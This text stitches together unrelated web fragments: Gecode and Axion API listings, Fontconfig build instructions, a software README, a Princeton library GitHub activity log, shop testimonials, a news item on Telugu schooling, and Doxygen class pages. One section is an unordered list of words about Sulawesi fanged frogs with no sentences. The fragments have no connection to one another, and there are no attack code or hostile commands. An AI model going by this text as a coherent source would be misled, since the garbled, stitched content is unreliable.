| class | Gecode::Int::Rel::ReEqBndInt< View, CtrlView > |
| Reified bounds-consistent equality with integer propagator. More... | |
| class | Gecode::Int::Rel::Nq< View > |
| Binary disequality propagator. More... | |
| class | Gecode::Int::Rel::Lq< View > |
| Less or equal propagator. More... | |
| class | Gecode::Int::Rel::Le< View > |
| Less propagator. More... | |
| class | Gecode::Int::Rel::ReLq< View, CtrlView > |
| Reified less or equal propagator. More... | |
| class | Gecode::Int::Rel::ReLqInt< View, CtrlView > |
| Reified less or equal with integer propagator. More... | |
| class | Gecode::Int::Rel::Lex< View > |
| Lexical ordering propagator. More... | |
| class | Gecode::Int::Rel::NaryNq< View > |
| Propagator for n-ary disequlaity More... |


Sulawesi species larvaepartus Limnonectes tadpoles Kabupaten length birth reproductive National new Bogani Nani Provinsi Park, Bolaang MZB Mongondow, female frogs Desa Length Wartabone mode stage Kecamatan Utara fanged Eleutherodactylus Fig. MVZ McGuire distance eggs foot hatching internal modestus observed snout tadpole SVL developing end length, lower oviducts tip (see (−., .), Lolak, biology body capable collected eye frog range small snout-vent sp. species. toe tubercle width Iskandar October River, Sulawesi, Utara. coqui elevation, fertilization hand having interorbital males moderately names posterior present region size species, specimens tibia webbing August Barat. Brown Central Distance Indonesia Iskandar, Mumpuni, Nectophrynoides Snout Sulawesi. Toraut, University adaptive adult anuran anurans approximately arathooni border carrying coloration described diameter distal diversity documented dorsal evolution extending females following forest form froglets froglets, genus head jasperi large larger male microtympanum near occurs pools pregnant process radiation referred right slightly tympanum unique yolk


Installation of Fontconfig
Make sure the system regenerates src/fcobjshash.h.
rm -f src/fcobjshash.h
Install Fontconfig by running the
following commands:
./configure --prefix=/usr \
--sysconfdir=/etc \
--localstatedir=/var \
--disable-docs \
--docdir=/usr/share/doc/fontconfig-2.13.1 &&
make
To test the results, issue: make
check.
Now, as the root
user:
make install
If you did not remove the --disable-docs
parameter from the
configure command,
you can install the pre-generated documentation by using the
following commands as the root
user:
install -v -dm755 \
/usr/share/{man/man{1,3,5},doc/fontconfig-2.13.1/fontconfig-devel} &&
install -v -m644 fc-*/*.1 /usr/share/man/man1 &&
install -v -m644 doc/*.3 /usr/share/man/man3 &&
install -v -m644 doc/fonts-conf.5 /usr/share/man/man5 &&
install -v -m644 doc/fontconfig-devel/* \
/usr/share/doc/fontconfig-2.13.1/fontconfig-devel &&
install -v -m644 doc/*.{pdf,sgml,txt,html} \
/usr/share/doc/fontconfig-2.13.1
Configuring Fontconfig
Config
Files
/etc/fonts/*, /etc/fonts/conf.d/* and
/usr/share/fontconfig/conf.avail/*
Configuration Information
The main configuration file for Fontconfig is /etc/fonts/fonts.conf
. Generally you do not
want to edit this file. It will also read /etc/fonts/local.conf
and any files in
/etc/fonts/conf.d
. To put a new
font directory in the configuration, create (or update) the
/etc/fonts/local.conf
file with
your local information or add a new file in /etc/fonts/conf.d
. The default location of
fonts in Fontconfig is:
Fontconfig also ships many
example configuration files in the /usr/share/fontconfig/conf.avail
directory.
Symlinking specific files to /etc/fonts/conf.d
will enable them. The default
setup is generally good enough for most users. See /etc/fonts/conf.d/README
for a description of
the configuration files.
More information about configuring Fontconfig can be found in the user's manual
in file:///usr/share/doc/fontconfig-2.13.1/fontconfig-user.html.


This program will hopefully guide you in the right path and decide on whether business is the right think for you. Now, obviously this isn't the only thing you need for a successful start-up. You will need an expert in the field you wish to start a business. Right now in the pre-alpha version, the GUI hasn't been added yet. So you need a python interpreter to use the code. Make sure to read the README file for detailed instructions and help.
If you encounter a bug, check the templates folder and open the file called "bug_report". Fill it out, save it, and and drag/drop it here. If you think that the bug is extremely dangerous or if you have spotted a potential vulnerability, drop a mail. In the body section of the mail, briefly describe the bug and when you encountered it. Suggestions to fix the bug are welcome. If you have any feedback or suggestion, make sure to do the same for bugs, but use the "Feature_request" template.
While SSP is open source, it is licensed by BSD-3-Clause. You will not have to worry about licenses unless you wish to reproduce this software with changes of your own. Please read "LICENSE.txt" to know your rights and liabilities.


labeled
by None at 2020-12-11 02:36:58.labeled
by None at 2020-12-11 02:36:58.labeled
by None at 2020-12-11 04:42:10.labeled
by None at 2020-12-11 04:42:10.After requesting for assistance privately from colleagues in the EUS, it was discovered that this was due to a file-formatting error. The records now have the updated DataSpace ARKs (please see https://bibdata.princeton.edu/bibliographic/12229747 and https://catalog.princeton.edu/catalog/12229747)
closed
by James R. Griffin III at 2020-12-11 15:49:12.labeled
by None at 2020-12-11 04:53:44.labeled
by None at 2020-12-11 04:53:44.labeled
by None at 2020-12-11 10:24:38.labeled
by None at 2020-12-11 10:24:38.I think Figgy just needs deployed: https://github.com/pulibrary/figgy/pull/4335
I apologize @tpendragon, I will close this.
renamed
by James R. Griffin III at 2020-12-11 20:08:37.mentioned
by Trey Pendragon at 2020-12-11 20:09:28.subscribed
by Trey Pendragon at 2020-12-11 20:09:28.closed
by James R. Griffin III at 2020-12-11 20:09:30.labeled
by James R. Griffin III at 2020-12-11 20:13:52.renamed
by James R. Griffin III at 2020-12-11 20:18:25.labeled
by James R. Griffin III at 2020-12-11 20:18:40.labeled
by James R. Griffin III at 2020-12-11 20:18:45.labeled
by James R. Griffin III at 2020-12-11 20:18:53.This occurred on 12/03/20, with the following backtrace:
apply_remote_metadata.rb 14 run(...)
[PROJECT_ROOT]/app/change_set_persisters/change_set_persister/apply_remote_metadata.rb:14:in `run'
12 return unless change_set.respond_to?(:source_metadata_identifier)
13 return unless change_set.apply_remote_metadata?
14 attributes = remote_record.attributes
15 apply(attributes)
16 change_set
Please see https://app.honeybadger.io/projects/53391/faults/56088422#notice-trace for reference.
reopened
by James R. Griffin III at 2020-12-11 20:22:22.labeled
by James R. Griffin III at 2020-12-11 20:22:33.labeled
by James R. Griffin III at 2020-12-11 20:22:38.Errors such as NoMethodError: undefined method
[]' for nil:NilClass` are currently not handled, which Honeybadger traces to the following:
tika_file_characterization_service.rb 35 file_characterization_attributes(...)
[PROJECT_ROOT]/app/characterization_services/tika_file_characterization_service.rb:35:in `file_characterization_attributes'
33 result = JSON.parse(json_output).last
34 {
35 width: result["tiff:ImageWidth"],
36 height: result["tiff:ImageLength"],
37 mime_type: result["Content-Type"],
Please see https://app.honeybadger.io/projects/53391/faults/53418725#notice-trace for reference.
renamed
by James R. Griffin III at 2020-12-11 20:24:23.labeled
by James R. Griffin III at 2020-12-11 20:25:57.labeled
by James R. Griffin III at 2020-12-11 20:26:02.I'm not certain how frequently this occurs, but it should be noted that this is a possible bug. The backtrace provided by Honeybadger is:
bulk_hold_processor.rb 13 change_set_persister(...)
[PROJECT_ROOT]/app/resources/cdl/bulk_hold_processor.rb:13:in `change_set_persister'
11 def self.change_set_persister
12 ::ChangeSetPersister.new(
13 metadata_adapter: Valkyrie::MetadataAdapter.find(:indexing_persister),
14 storage_adapter: Valkyrie.config.storage_adapter
15 )
(Please see https://app.honeybadger.io/projects/53391/faults/67640376#notice-trace)
renamed
by James R. Griffin III at 2020-12-11 21:58:23.labeled
by James R. Griffin III at 2020-12-11 22:00:11.labeled
by James R. Griffin III at 2020-12-11 22:00:23.labeled
by James R. Griffin III at 2020-12-11 22:01:52.labeled
by James R. Griffin III at 2020-12-11 22:02:20.review_requested
by Cliff Wulfman at 2020-12-11 16:25:30.head_ref_force_pushed
by Cliff Wulfman at 2020-12-11 19:44:19.head_ref_force_pushed
by Cliff Wulfman at 2020-12-11 20:27:37.head_ref_force_pushed
by Cliff Wulfman at 2020-12-11 22:55:13.head_ref_force_pushed
by Cliff Wulfman at 2020-12-11 23:27:03.labeled
by None at 2020-12-11 08:41:25.I'm able to index -something- from the Alma dump files now, at least. The biggest immediate warnings that appear are for missing location codes.
Coverage increased (+0.3%) to 77.765% when pulling 3a009302d47ea7dadc2e224e93bd8455a3eaaf8e on alma-full-reindex into 543d1167dba606faacc7b0df4733c9d23edb4b62 on alma.
Are we using both lando and solr wrapper?
Does this supercede #930 to close #865?
This doesn't set up Lando for Postgres.
It uses both Lando and Solr Wrapper, yes. Solr wrapper for CI because of the .jar
files.
head_ref_force_pushed
by Trey Pendragon at 2020-12-11 00:44:18.head_ref_force_pushed
by Trey Pendragon at 2020-12-11 17:39:05.head_ref_force_pushed
by Trey Pendragon at 2020-12-11 17:41:55.ready_for_review
by Trey Pendragon at 2020-12-11 17:51:05.review_requested
by Eliot Jordan at 2020-12-11 18:18:08.labeled
by None at 2020-12-11 22:34:04.Coverage remained the same at 96.589% when pulling 85f485eadd78844ad488fa5313bdba66d0c9eaec on dependabot/npmandyarn/ini-1.3.7 into 256c2d7917399ebaf6ceb917267b5b2ae164780c on main.
labeled
by None at 2020-12-11 04:24:16.labeled
by None at 2020-12-11 04:24:16.Coverage remained the same at 96.589% when pulling 7b330b21770cec02eb25337e02cd90c0f0610104 on issues-2181-jrgriffiniii-nodejs into 256c2d7917399ebaf6ceb917267b5b2ae164780c on main.
review_requested
by Christina Chortaria at 2020-12-11 14:18:22.head_ref_force_pushed
by James R. Griffin III at 2020-12-11 16:21:18.deployed
by Trey Pendragon at 2020-12-11 16:23:30.deployed
by Trey Pendragon at 2020-12-11 16:32:37.closed
by James R. Griffin III at 2020-12-11 16:59:55.moved_columns_in_project
by James R. Griffin III at 2020-12-11 16:59:56.review_requested
by James R. Griffin III at 2020-12-11 16:54:37.referenced
by James R. Griffin III at 2020-12-11 16:59:55.merged
by James R. Griffin III at 2020-12-11 16:59:55.closed
by James R. Griffin III at 2020-12-11 16:59:55.head_ref_deleted
by James R. Griffin III at 2020-12-11 16:59:56.Coverage remained the same at 96.589% when pulling 7380e2d8a6b8f1a99b7dce5a5d6ff10e8091a715 on dependabot/npmandyarn/dot-prop-4.2.1 into 393f5c5183376f64f886f7496481ef078ff0e489 on main.
labeled
by None at 2020-12-11 17:00:53.labeled
by None at 2020-12-11 17:00:53.Coverage remained the same at 96.589% when pulling 78cab24ec8269c5ddb3e4a303cbbf08451084b72 on holiday_message into 256c2d7917399ebaf6ceb917267b5b2ae164780c on main.
review_requested
by Kevin Reiss at 2020-12-11 03:14:46.ready_for_review
by Kevin Reiss at 2020-12-11 19:12:37.Coverage remained the same at 100.0% when pulling 17ab3696489da693dbdceb078a3ad30c469ab22a on dependabot/npmandyarn/ini-1.3.7 into 44050528f1f377768e6b0391245ae90ae0a5e8c3 on main.
labeled
by None at 2020-12-11 10:10:29.labeled
by None at 2020-12-11 10:10:29.closed
by None at 2020-12-11 14:05:19.Thank you @hackartisan and @kelynch ! made a ticket for the translations that do not show: https://github.com/pulibrary/pomegranate/issues/866
Okay @kelea99 's suggestion was to merge / deploy this and she will make the languages not public in the relevant exhibits until enough from #866 is done for it to make sense.
mentioned
by None at 2020-12-10 22:38:34.subscribed
by None at 2020-12-10 22:38:34.mentioned
by Kate Lynch at 2020-12-10 22:38:34.subscribed
by Kate Lynch at 2020-12-10 22:38:34.mentioned
by Kim Leaman at 2020-12-11 14:05:06.subscribed
by Kim Leaman at 2020-12-11 14:05:06.referenced
by None at 2020-12-11 14:05:19.merged
by None at 2020-12-11 14:05:19.closed
by None at 2020-12-11 14:05:19.head_ref_deleted
by None at 2020-12-11 14:05:21.@hackartisan and @kelynch looking at the spotlight at stanford site and about to look in their repo, but some of the stuff that isnt working is default/standard UI elements that they keep standard for the language settings in the spotlight instance at stanford. https://exhibits.stanford.edu/exhibits-documentation/about/multilingual-exhibits
Thanks for looking in to that. It's worth noting: I'm not sure we're on the same version of spotlight as them and they have done work in this area recently so there may be some discrepancies here due to spotlight version.
labeled
by Kim Leaman at 2020-12-10 22:37:19.labeled
by Kim Leaman at 2020-12-10 22:37:19.mentioned
by None at 2020-12-11 14:12:20.subscribed
by None at 2020-12-11 14:12:20.mentioned
by Kate Lynch at 2020-12-11 14:12:20.subscribed
by Kate Lynch at 2020-12-11 14:12:20.As far as the deletion goes, yes this looks like a duplicate of #730
But when it comes to the duplicate use of lae
this is a new thing that needs to be resolved. I'm going to re-write this issue to reflect that problem.
Not really worth rewriting, actually. I deleted the dpul collection and found the duplicate in figgy. @kelea99 will give it a new slug. Closing this issue.
Oops. I selected Latin American ephemera from. the DPUL pulldown to create a new collection, but only too late realized there were 2 "LAE" collection options. I chose...poorly. it's the same selection as the last time (approx 5k items). Id assume the second LAE collection is what I am wanting to try to create ( im trying to get the entire collection into DPUL) . Im so sorry, @hackartisan . can this be deleted again by someone? same 405 is happening.
@hackartisan , I cannot change the slug for LAE, as the DPUL slug is important (as I understand it) for the LAE blacklight site (I know, it's weird).
closed
by None at 2020-12-11 14:54:43.mentioned
by Kim Leaman at 2020-12-11 14:54:43.subscribed
by Kim Leaman at 2020-12-11 14:54:43.mentioned
by None at 2020-12-11 16:47:08.subscribed
by None at 2020-12-11 16:47:08.reopened
by Kim Leaman at 2020-12-11 16:47:10.mentioned
by None at 2020-12-11 16:49:42.subscribed
by None at 2020-12-11 16:49:42.closed
by Francis Kayiwa at 2020-12-10 22:11:40.referenced
by Francis Kayiwa at 2020-12-10 22:11:40.merged
by Francis Kayiwa at 2020-12-10 22:11:40.closed
by Francis Kayiwa at 2020-12-10 22:11:40.head_ref_deleted
by Francis Kayiwa at 2020-12-10 22:11:41.closed
by Francis Kayiwa at 2020-12-10 23:00:11.referenced
by Francis Kayiwa at 2020-12-10 23:00:11.merged
by Francis Kayiwa at 2020-12-10 23:00:11.closed
by Francis Kayiwa at 2020-12-10 23:00:11.head_ref_deleted
by Francis Kayiwa at 2020-12-10 23:00:12.closed
by Francis Kayiwa at 2020-12-10 23:04:50.closed
by None at 2020-12-11 15:04:18.referenced
by None at 2020-12-11 15:04:17.merged
by None at 2020-12-11 15:04:17.closed
by None at 2020-12-11 15:04:18.head_ref_deleted
by None at 2020-12-11 15:04:19.closed
by Francis Kayiwa at 2020-12-11 15:30:41.referenced
by Francis Kayiwa at 2020-12-11 15:30:41.merged
by Francis Kayiwa at 2020-12-11 15:30:41.closed
by Francis Kayiwa at 2020-12-11 15:30:41.head_ref_deleted
by Francis Kayiwa at 2020-12-11 15:30:42.This is deprecated by https://github.com/pulibrary/princeton_ansible/pull/1783
closed
by James R. Griffin III at 2020-12-11 16:05:22.closed
by Francis Kayiwa at 2020-12-11 16:24:54.referenced
by Francis Kayiwa at 2020-12-11 16:24:54.merged
by Francis Kayiwa at 2020-12-11 16:24:54.closed
by Francis Kayiwa at 2020-12-11 16:24:54.head_ref_deleted
by Francis Kayiwa at 2020-12-11 16:24:55.closed
by Christina Chortaria at 2020-12-11 16:47:26.referenced
by Christina Chortaria at 2020-12-11 16:47:26.merged
by Christina Chortaria at 2020-12-11 16:47:26.closed
by Christina Chortaria at 2020-12-11 16:47:26.head_ref_deleted
by Christina Chortaria at 2020-12-11 16:47:27.ready_for_review
by James R. Griffin III at 2020-12-11 16:05:37.head_ref_force_pushed
by James R. Griffin III at 2020-12-11 16:17:49.head_ref_force_pushed
by James R. Griffin III at 2020-12-11 16:48:12.head_ref_force_pushed
by James R. Griffin III at 2020-12-11 16:49:17.referenced
by Francis Kayiwa at 2020-12-11 17:38:26.merged
by Francis Kayiwa at 2020-12-11 17:38:27.closed
by Francis Kayiwa at 2020-12-11 17:38:27.head_ref_deleted
by Francis Kayiwa at 2020-12-11 17:38:28.closed
by None at 2020-12-11 18:08:36.head_ref_force_pushed
by Francis Kayiwa at 2020-12-11 15:55:07.review_requested
by Francis Kayiwa at 2020-12-11 15:55:18.head_ref_force_pushed
by Francis Kayiwa at 2020-12-11 16:10:38.referenced
by None at 2020-12-11 18:08:36.merged
by None at 2020-12-11 18:08:36.closed
by None at 2020-12-11 18:08:36.head_ref_deleted
by None at 2020-12-11 18:08:37.closed
by None at 2020-12-11 18:20:49.referenced
by None at 2020-12-11 18:20:49.merged
by None at 2020-12-11 18:20:49.closed
by None at 2020-12-11 18:20:49.head_ref_deleted
by None at 2020-12-11 18:20:50.assigned
by Francis Kayiwa at 2020-12-11 18:56:57.closed
by Francis Kayiwa at 2020-12-11 19:33:45.referenced
by Francis Kayiwa at 2020-12-11 19:33:44.merged
by Francis Kayiwa at 2020-12-11 19:33:44.closed
by Francis Kayiwa at 2020-12-11 19:33:45.head_ref_deleted
by Francis Kayiwa at 2020-12-11 19:33:46.closed
by Francis Kayiwa at 2020-12-11 19:54:15.referenced
by Francis Kayiwa at 2020-12-11 19:54:15.merged
by Francis Kayiwa at 2020-12-11 19:54:15.closed
by Francis Kayiwa at 2020-12-11 19:54:15.head_ref_deleted
by Francis Kayiwa at 2020-12-11 19:54:16.head_ref_force_pushed
by None at 2020-12-11 19:27:50.head_ref_force_pushed
by None at 2020-12-11 19:37:09.ready_for_review
by None at 2020-12-11 19:54:27.head_ref_force_pushed
by None at 2020-12-11 20:15:50.head_ref_force_pushed
by None at 2020-12-11 20:30:27.referenced
by Francis Kayiwa at 2020-12-11 21:05:12.merged
by Francis Kayiwa at 2020-12-11 21:05:12.closed
by Francis Kayiwa at 2020-12-11 21:05:12.head_ref_deleted
by Francis Kayiwa at 2020-12-11 21:05:13.closed
by Francis Kayiwa at 2020-12-11 21:13:55.head_ref_force_pushed
by Francis Kayiwa at 2020-12-11 20:43:09.head_ref_force_pushed
by Francis Kayiwa at 2020-12-11 21:08:52.referenced
by Francis Kayiwa at 2020-12-11 21:13:55.merged
by Francis Kayiwa at 2020-12-11 21:13:55.closed
by Francis Kayiwa at 2020-12-11 21:13:55.head_ref_deleted
by Francis Kayiwa at 2020-12-11 21:13:56.closed
by Francis Kayiwa at 2020-12-11 21:29:07.review_requested
by Francis Kayiwa at 2020-12-11 21:16:35.referenced
by Francis Kayiwa at 2020-12-11 21:29:07.merged
by Francis Kayiwa at 2020-12-11 21:29:07.closed
by Francis Kayiwa at 2020-12-11 21:29:07.head_ref_deleted
by Francis Kayiwa at 2020-12-11 21:29:08.closed
by Francis Kayiwa at 2020-12-11 21:34:28.closed
by Francis Kayiwa at 2020-12-11 21:34:40.closed
by Francis Kayiwa at 2020-12-11 21:34:58.review_requested
by Francis Kayiwa at 2020-12-11 21:56:48.milestoned
by None at 2020-12-11 15:22:23.milestoned
by None at 2020-12-11 15:31:50.milestoned
by None at 2020-12-11 15:46:56.Thanks @doncat! So if I understand correctly, the "metadata: none" option just means the container information will not be merged into a Voyager or ASpace record, right? So it's a "labels only" workflow?
If so, in addition to the above, we need to allow for the following:
workflows to accommodate: *ASpace, as above *Voyager: output XML file to be picked up by DT's macro for further processing *none: output XML file to be picked up by DT's macro for further processing
NB: Tentatively, we think the ASpace workflow doesn't need to output labels (ASpace includes a labels functionality--it's currently returning a 404, but we're following up with Lyrasis). The Voyager / no metadata workflows do, but that can hopefully be picked up by the existing tool for now (until we change over to Alma).
mentioned
by Don Thornbury at 2020-12-11 14:32:16.subscribed
by Don Thornbury at 2020-12-11 14:32:16.Asking to have the "In the Library" results not appear in the facet.
reopened
by Christa Cleeton at 2020-12-11 15:56:51.milestoned
by Christa Cleeton at 2020-12-11 17:44:34.For certain faceted search results, the values in the results break the Date range
UI widget:
(This was reproduced by accessing https://findingaids-beta.princeton.edu/?utf8=%E2%9C%93&group=true&search_field=all_fields&q=taylor)
The stack trace for this was logged by Honeybadger as the following:
ruby
segment_calculation.rb 15 add_range_segments_to_solr!(...)
[GEM_ROOT]/gems/blacklight_range_limit-7.1.0/lib/blacklight_range_limit/segment_calculation.rb:15:in `add_range_segments_to_solr!'
13 # Changes solr_params passed in.
14 def add_range_segments_to_solr!(solr_params, solr_field, min, max)
15 raise InvalidRange, "The min date must be before the max date" if min > max
16
17 field_config = BlacklightRangeLimit.range_config(blacklight_config, solr_field)
renamed
by James R. Griffin III at 2020-12-11 19:27:40.labeled
by James R. Griffin III at 2020-12-11 19:27:45.labeled
by James R. Griffin III at 2020-12-11 19:27:53.milestoned
by James R. Griffin III at 2020-12-11 19:27:58.As logged within Honeybadger, there are cases in which HTTP request errors are encountered when attempting to synchronize the ArchivesSpace EAD XML into PULFALight. Please see the following backtrace:
aspace_index_job.rb 46 perform(...)
[PROJECT_ROOT]/app/jobs/aspace_index_job.rb:46:in `perform'
44
45 def perform(resource_descriptions_uri:, repository_id: nil)
46 ead_content = aspace_client.get("#{resource_descriptions_uri}.xml", query: { include_daos: true, include_unpublished: false }, timeout: 1200).body.force_encoding("UTF-8")
47 xml_documents = Nokogiri::XML.parse(ead_content)
48 xml_documents.remove_namespaces!
I would propose that this also be scoped to handle authentication errors, such as ArchivesSpace::ConnectionError: Failed to connect to ArchivesSpace backend as [USER]
(please see https://app.honeybadger.io/projects/65922/faults/70808284 for an example of this).
We do need these jobs to error so they'll retry. We could ignore the errors in Honeybadger?
renamed
by James R. Griffin III at 2020-12-11 19:48:07.labeled
by James R. Griffin III at 2020-12-11 19:50:12.labeled
by James R. Griffin III at 2020-12-11 19:50:19.milestoned
by James R. Griffin III at 2020-12-11 19:50:22.This seems to be to be triggered by an issue related to the configuration of the server environment. The error logged by Honeybadger is Errno::EHOSTUNREACH: No route to host - connect(2) for "lib-ponyexpr.princeton.edu" port 25
renamed
by James R. Griffin III at 2020-12-11 20:00:04.labeled
by James R. Griffin III at 2020-12-11 20:01:44.labeled
by James R. Griffin III at 2020-12-11 20:01:48.Just want to add that capitalization doesn't affect results on pulfa 2.0: https://findingaids.princeton.edu/?v1=mc097&f1=kw&b1=AND&v2=&f2=kw&b2=AND&v3=&f3=kw&year=before&ed=&ld=&rpp=10&start=0.
duplicate of #525
milestoned
by Christa Cleeton at 2020-12-11 15:50:15.labeled
by None at 2020-12-11 23:13:20.labeled
by None at 2020-12-11 23:13:20.Coverage remained the same at 100.0% when pulling 548d7246c723f92b5443036c08eb4997ead75ef8 on dependabot/npmandyarn/ini-1.3.7 into e8b4963c7d9f2acf201f06861e11acd97432d3f0 on main.
labeled
by None at 2020-12-11 10:12:27.labeled
by None at 2020-12-11 10:12:27.labeled
by None at 2020-12-11 10:12:33.labeled
by None at 2020-12-11 10:12:33.review_requested
by Kevin Reiss at 2020-12-11 03:05:11.referenced
by None at 2020-12-11 14:38:23.merged
by None at 2020-12-11 14:38:23.closed
by None at 2020-12-11 14:38:23.head_ref_deleted
by None at 2020-12-11 14:38:31.labeled
by None at 2020-12-12 01:22:15.labeled
by None at 2020-12-12 01:22:15.


We only provide great products combined with excellent customer service. See what our satisfied customers are saying about our services.
"We needed the same printed design as the one we had ordered a week prior. Not only did they find the original order, but we also received it in time. Excellent!"
"Customer service is always excellent and very quick turn around. Completely delighted with the simplicity of the purchase and the speed of delivery."
"Put an order with this company and can only praise them for the very high standard. Will definitely use them again and recommend them to everyone!"


--- title: get keywords: fastai sidebar: home_sidebar summary: "API details." description: "API details." nb_path: "nbs/get.ipynb" ---
get(events, *args): return True


‘Switching to English needs homework’
by Special CorrespondentMembers of the Mathru Bhasha Madhyama Vedika, who are opposing the State government’s decision to replace Telugu with English as the primary medium of instruction in all government-run schools, have taken strong objection to what they have termed as attempts “to give a political and religious colour” to the issue.
“While it is a good sign that the issue is being extensively debated by educationists, social activists and littérateurs, the issue should be looked at purely from an academic perspective,” said a statement that was released by the association on Tuesday.
“ We are not opposed to implementation of English as the medium of instruction but it should be done in a systematic manner with proper planning and homework,” the release added.
The members said that the government should impose restrictions on private schools and demanded that the mother-tongue be used as the medium of instruction in primary schools.
The members further suggested that English language could be strengthened through the implementation of common school system.


fun setMethodName(methodName: String): ContractCodeBuilder
Sets name of contract method
methodName - Name of contract method
methodName


|
|||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object | +--org.axiondb.ComparisonOperator
A comparison operator, like ==
or >=
.
| Field Summary | |
static ComparisonOperator |
EQUAL
The equality comparison ( == ). |
static ComparisonOperator |
GREATER_THAN
The strictly greater than comparison ( > ). |
static ComparisonOperator |
GREATER_THAN_OR_EQUAL
The greater than or equality comparison ( >= ). |
static ComparisonOperator |
IS_NOT_NULL
The NOT NULL comparison (IS NOT NULL ). |
static ComparisonOperator |
IS_NULL
The NULL comparison (IS NULL ). |
static ComparisonOperator |
LESS_THAN
The strictly less than comparison ( < ). |
static ComparisonOperator |
LESS_THAN_OR_EQUAL
The less than or equality comparison ( <= ). |
static ComparisonOperator |
NOT_EQUAL
The inequality comparison ( != ). |
| Method Summary | |
abstract boolean |
compare(Object left,
Object right,
Comparator comparator)
Evaluate this comparision against the given Objects using the given Comparator. |
boolean |
equals(Object that)
|
abstract ComparisonOperator |
flip()
Return the equivalent ComparisonOperator if my arguments were reversed. |
int |
hashCode()
|
String |
toString()
|
| Methods inherited from class java.lang.Object |
clone, finalize, getClass, notify, notifyAll, wait, wait, wait |
| Field Detail |
public static final ComparisonOperator EQUAL
==
).
public static final ComparisonOperator NOT_EQUAL
!=
).
public static final ComparisonOperator GREATER_THAN
>
).
public static final ComparisonOperator LESS_THAN
<
).
public static final ComparisonOperator GREATER_THAN_OR_EQUAL
>=
).
public static final ComparisonOperator LESS_THAN_OR_EQUAL
<=
).
public static final ComparisonOperator IS_NULL
NULL
comparison (IS NULL
).
public static final ComparisonOperator IS_NOT_NULL
NOT NULL
comparison (IS NOT NULL
).
| Method Detail |
public String toString()
toString
in class Object
public boolean equals(Object that)
equals
in class Object
public int hashCode()
hashCode
in class Object
public abstract boolean compare(Object left, Object right, Comparator comparator)
public abstract ComparisonOperator flip()
op.compare(a,b,comparator)
is true
iff
op.flip().compare(b,a,comparator)
is also true
.
|
|||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | ||||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


◆ Service()
| Service::Service |
( |
std::string |
name, |
|
|
bool |
pro, |
|
|
float |
basePrice, |
|
|
Duration |
duration |
|
) |
| |
service's constructor
- Parameters
-
| name | the name |
| pro | requires professional |
| basePrice | the base price |
| duration | the duration |
◆ getBasePrice()
| float Service::getBasePrice |
( |
| ) |
const |
◆ getDuration()
◆ getName()
| std::string Service::getName |
( |
| ) |
const |
◆ getPrice()
| float Service::getPrice |
( |
| ) |
|
|
virtual |
getter
- Returns
- price
Reimplemented in Painting.
◆ getPro()
| bool Service::getPro |
( |
| ) |
const |
getter
- Returns
- true if requires pro false otherwise
The documentation for this class was generated from the following files:
- C:/Users/Sofia/Documents/GitHub/Projeto_AEDA_1_HouseMaster/src/Services.h
- C:/Users/Sofia/Documents/GitHub/Projeto_AEDA_1_HouseMaster/src/Services.cpp